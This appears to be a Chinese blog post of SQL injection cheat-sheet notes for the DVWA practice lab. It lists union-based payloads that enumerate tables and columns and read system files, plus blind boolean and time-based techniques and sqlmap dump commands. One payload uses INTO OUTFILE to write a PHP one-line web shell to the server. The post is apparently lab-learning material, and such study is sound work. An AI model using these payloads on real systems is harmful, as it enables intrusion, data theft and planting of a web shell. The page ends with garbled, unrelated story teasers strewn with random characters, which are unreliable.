SQL injection(DVWA)

Recovery

1 正常
1’ (1")報錯(有注入) 
1’ or '1'='1 正常(字符型注入)
1 or 1=1  正常(數(shù)值型注入)
1’ order by n  (爆字段數(shù))
*聯(lián)合查詢union左右兩邊查詢的列數(shù)要一致
x’ union select user(),database() --   正常(union聯(lián)合查詢,全可出)
x’ union select 1,table_name from information_schema.tables where table_schema = 'DATABASE' --   (爆表名)
x’ union select 1,column_name from information_schema.columns where table_name='TABLENAME' --  (爆列名)

x' union select 1,load_file('(eg.)C:\\Windows\\win.ini') -- (系統(tǒng)文件)
x' union select 'x','asad' into outfile 'xx' -- (出異常,爆路徑)
x' union select "webshell","<?php eval($_GET['cmd']);?>" into outfile "PATH.FILENAME.php" -- (寫入一句話木馬)

Blind

Boolean(只有真和假兩種狀態(tài))

一.正常操作,得到真和假兩種狀態(tài).
二.真 AND 假 (若得到'假'則存在注入)
eg.
1 and 1=2   (數(shù)值型)
1' and '1'='2
1" and "1"="2  (字符型)
length(str)  #獲取字符串長度
eg.
length('test')=4
1' and length(database())>1 -- 
(True) (True or False if True Then True else False)
substr(expression,start,length) 
= mid(expression,start,length)
#獲取子字符串

ascii(string)
=ord(string)
#獲取第一個字符的ascii數(shù)值,單字符的ascii范圍是0-127

eg.
1' and ascii(substr(database(),1,1))>64 -- 

Time-based

if(expr1,expr2,expr3)#判斷expr1,若真則返回expr2,假則返回expr3
sleep(N)#休眠N秒
eg.
1' and sleep(if(length(database())=4,5,0)) -- 
benchmark(count,expr) #重復(fù)計算count次expr
eg.
1' and benchmark(if(length(database())=4,5000000,0),md5('test'))
cast(expression as data_type)#數(shù)據(jù)類型轉(zhuǎn)換(表達式 as 新數(shù)據(jù)類型)
eg.
cast(database() as char)
isnull(expr1,expr2)#若expr1為null則返回expr2,否則返回expr1
eg.
ord(mid(isnull(cast(database() as char),0x20),1,1))>64

sqlmap

sqlmap -u "url" --data(POST) "(eg.)id=1&Submit=Submit" -p "(eg.)id" --cookie "(find from Burp)"

#-v 1-6   (show detail)[6 for most detail]
--current-user
--current-db
-D DATABASE --tables
-D DATABASE -T TABLENAME --column
-D DATABASE -T TABLENAME -C "(eg.)USERNAME,PASSWORD" --dump

Second page

sqlmap -u "url (in which you input)" --second-url "url (on which you see the result)" -- data(POST)  "(eg.)id=1&Submit=Submit" -p "(eg.)id" --cookie "(find from Burp)"

When parameter in cookie

--level 2#para>=2
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末铸豁,一起剝皮案震驚了整個濱河市仔雷,隨后出現(xiàn)的幾起案子割择,更是在濱河造成了極大的恐慌澎办,老刑警劉巖耸彪,帶你破解...
    沈念sama閱讀 218,607評論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件碌上,死亡現(xiàn)場離奇詭異掀鹅,居然都是意外死亡揽碘,警方通過查閱死者的電腦和手機次屠,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,239評論 3 395
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來雳刺,“玉大人帅矗,你說我怎么就攤上這事∩诽蹋” “怎么了浑此?”我有些...
    開封第一講書人閱讀 164,960評論 0 355
  • 文/不壞的土叔 我叫張陵,是天一觀的道長滞详。 經(jīng)常有香客問我凛俱,道長,這世上最難降的妖魔是什么料饥? 我笑而不...
    開封第一講書人閱讀 58,750評論 1 294
  • 正文 為了忘掉前任宵蛀,我火速辦了婚禮现喳,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己来涨,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 67,764評論 6 392
  • 文/花漫 我一把揭開白布它褪。 她就那樣靜靜地躺著俭驮,像睡著了一般。 火紅的嫁衣襯著肌膚如雪悦荒。 梳的紋絲不亂的頭發(fā)上唯欣,一...
    開封第一講書人閱讀 51,604評論 1 305
  • 那天,我揣著相機與錄音搬味,去河邊找鬼境氢。 笑死,一個胖子當(dāng)著我的面吹牛碰纬,可吹牛的內(nèi)容都是我干的萍聊。 我是一名探鬼主播,決...
    沈念sama閱讀 40,347評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼悦析,長吁一口氣:“原來是場噩夢啊……” “哼寿桨!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起她按,我...
    開封第一講書人閱讀 39,253評論 0 276
  • 序言:老撾萬榮一對情侶失蹤牛隅,失蹤者是張志新(化名)和其女友劉穎炕柔,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體媒佣,經(jīng)...
    沈念sama閱讀 45,702評論 1 315
  • 正文 獨居荒郊野嶺守林人離奇死亡匕累,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,893評論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了默伍。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片欢嘿。...
    茶點故事閱讀 40,015評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖也糊,靈堂內(nèi)的尸體忽然破棺而出炼蹦,到底是詐尸還是另有隱情,我是刑警寧澤狸剃,帶...
    沈念sama閱讀 35,734評論 5 346
  • 正文 年R本政府宣布掐隐,位于F島的核電站,受9級特大地震影響钞馁,放射性物質(zhì)發(fā)生泄漏虑省。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,352評論 3 330
  • 文/蒙蒙 一僧凰、第九天 我趴在偏房一處隱蔽的房頂上張望探颈。 院中可真熱鬧,春花似錦训措、人聲如沸伪节。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,934評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽怀大。三九已至,卻和暖如春全闷,著一層夾襖步出監(jiān)牢的瞬間叉寂,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,052評論 1 270
  • 我被黑心中介騙來泰國打工总珠, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人勘纯。 一個月前我還...
    沈念sama閱讀 48,216評論 3 371
  • 正文 我出身青樓局服,卻偏偏與公主長得像,于是被迫代替她去往敵國和親驳遵。 傳聞我的和親對象是個殘疾皇子淫奔,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,969評論 2 355

推薦閱讀更多精彩內(nèi)容